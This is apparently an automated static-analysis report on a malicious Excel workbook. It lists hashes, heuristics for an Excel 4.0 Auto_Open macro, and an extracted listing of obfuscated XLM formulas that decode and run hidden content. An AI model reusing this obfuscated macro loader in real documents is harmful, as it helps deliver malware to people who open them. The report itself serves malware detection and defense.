Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e8446a57f03704b…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:47 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 6da8c07db874152df300095f92fd50cd SHA-1: d0898160b4c08d758880c6c04b153ab37c2e6524 SHA-256: 7e8446a57f03704be52bb347fa4e2665b6af3dcfdae5cc3155d634d74a7f5cb9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential for arbitrary code execution. The presence of dangerous formula APIs like RUN further supports this. The macro sheet itself contains obfuscated data, likely to hide the malicious payload or commands.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6546 bytes
SHA-256: 146d47bdb79d89fe5cfc81b2ff79c2131d2e89e0549da6dd75907b4e4ae1df3a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OqJjiS
' 0018     20 LABEL : Cell Value, String Constant - aexMY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G187 
' 0018     25 LABEL : Cell Value, String Constant - dRaSNTZKqv len=0 
' 0018     27 LABEL : Cell Value, String Constant - fHQFRCLRTKKu len=0 
' 0018     26 LABEL : Cell Value, String Constant - fPPBrXVZvWg len=0 
' 0018     20 LABEL : Cell Value, String Constant - HDTXQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - iBpipvEddRAm len=0 
' 0018     24 LABEL : Cell Value, String Constant - jficQNPUa len=0 
' 0018     24 LABEL : Cell Value, String Constant - khPFYiwdQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - kkPgLhJvP len=0 
' 0018     27 LABEL : Cell Value, String Constant - lzaQclNTYNms len=0 
' 0018     27 LABEL : Cell Value, String Constant - mMbsQspBHuCT len=0 
' 0018     24 LABEL : Cell Value, String Constant - nJkYcXKwT len=0 
' 0018     26 LABEL : Cell Value, String Constant - pUGzKYHVKyU len=0 
' 0018     26 LABEL : Cell Value, String Constant - QXljOlSPOPd len=0 
' 0018     27 LABEL : Cell Value, String Constant - RNMEeywbkNTu len=0 
' 0018     22 LABEL : Cell Value, String Constant - tHnPEmj len=0 
' 0018     24 LABEL : Cell Value, String Constant - TJrJDUybO len=0 
' 0018     23 LABEL : Cell Value, String Constant - UBqgzJOX len=0 
' 0018     26 LABEL : Cell Value, String Constant - yPiJrkwQjNB len=0 
' 0018     25 LABEL : Cell Value, String Constant - zooFBmUEAt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OqJjiS,G100,"SET.NAME("jficQNPUa",VALUE("0"))",""
'  OqJjiS,G102,"SET.NAME("TJrJDUybO",jficQNPUa)",""
'  OqJjiS,G106,"SET.NAME("kkPgLhJvP",jficQNPUa)",""
'  OqJjiS,G108,"SET.NAME("iBpipvEddRAm",COUNTA(UBqgzJOX))",""
'  OqJjiS,G110,"SET.NAME("yPiJrkwQjNB",COUNTA(khPFYiwdQ))",""
'  OqJjiS,G113,[],""
'  OqJjiS,G117,"SET.NAME("RNMEeywbkNTu","")",""
'  OqJjiS,G121,"TJrJDUybO",""
'  OqJjiS,G123,"SET.NAME("fHQFRCLRTKKu",HLOOKUP("*",UBqgzJOX,TJrJDUybO,FALSE))",""
'  OqJjiS,G125,"HDTXQ",""
'  OqJjiS,G127,"SET.NAME("aexMY",jficQNPUa)",""
'  OqJjiS,G130,[],""
'  OqJjiS,G133,"aexMY",""
'  OqJjiS,G138,"nJkYcXKwT",""
'  OqJjiS,G143,"QXljOlSPOPd",""
'  OqJjiS,G146,"tHnPEmj",""
'  OqJjiS,G151,"SET.NAME("zooFBmUEAt",VALUE(HLOOKUP("*",khPFYiwdQ,tHnPEmj,FALSE)))",""
'  OqJjiS,G154,"pUGzKYHVKyU",""
'  OqJjiS,G156,"RNMEeywbkNTu",""
'  OqJjiS,G161,"kkPgLhJvP",""
'  OqJjiS,G164,NEXT(),""
'  OqJjiS,G168,"lzaQclNTYNms",""
'  OqJjiS,G171,"SET.NAME("f",INT(T(FORMULA(T(RNMEeywbkNTu)&"",""&T(lzaQclNTYNms)))))",""
'  OqJjiS,G176,"dRaSNTZKqv",""
'  OqJjiS,G178,NEXT(),""
'  OqJjiS,G182,RETURN(),""
'  OqJjiS,G208,"SET.NAME("mMbsQspBHuCT",G100)",""
'  OqJjiS,G212,"UBqgzJOX",""
'  OqJjiS,G214,"SET.NAME("khPFYiwdQ",R65C14)",""
'  OqJjiS,G218,"SET.NAME("dRaSNTZKqv",224)",""
'  OqJjiS,G221,"SET.NAME("fPPBrXVZvWg",7)",""
'  OqJjiS,G223,mMbsQspBHuCT(),""
'  OqJjiS,G224,HALT(),""